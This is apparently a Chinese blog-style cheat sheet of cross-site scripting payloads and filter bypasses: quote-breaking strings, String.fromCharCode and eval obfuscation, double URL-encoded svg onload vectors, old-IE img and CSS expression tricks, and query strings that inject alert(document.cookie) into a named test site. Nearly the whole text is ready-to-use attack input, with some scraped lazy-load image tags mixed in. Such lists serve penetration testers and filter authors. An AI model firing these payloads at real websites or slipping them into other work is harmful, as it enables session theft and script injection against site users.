<img src=1 onerror=alert(1)>

XSS漏洞验证经常遇到一些过滤，如何进行有效验证和绕过过滤呢，这里小结一下常见的一些标签，如<a><img>等。
参考链接：http://www.jb51.net/tools/xss.htm

';alert(String.fromCharCode(88,83,83))//
\';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
\";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<iframe class="lazyload" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC" data-original="http://www.baidu.com" height="250" width="300"></iframe>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>

<script>alert(String.fromCharCode(88, 83, 83))</script>
<script>alert('xss')</script>
<p><svg onload=prompt(/xss/)></p> //遇到过这种情况
%253Csvg%2520onload%253Dprompt(/xss/)%253E //<>=双层urlencode

在使用加号做字符串连接的时候，中间的js会被执行:
http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27
http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27

<img> 标签
XSS利用1：
<img src=javascript:alert('xss')> //版本，E7.0|IE6.0，才能执行
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> //版本，E7.0|IE6.0，才能执行
<img class="lazyload" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC" data-original="URL" style='Xss:expression(alert(/xss/));'> //版本，E7.0|IE6.0，才能执行
CSS标记XSS
<img STYLE="background-image:url(javascript:alert('XSS'))"> //版本，E7.0|IE6.0，才能执行
CSS样式表的标记进行XSS转码
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> //版本，E7.0|IE6.0，才能执行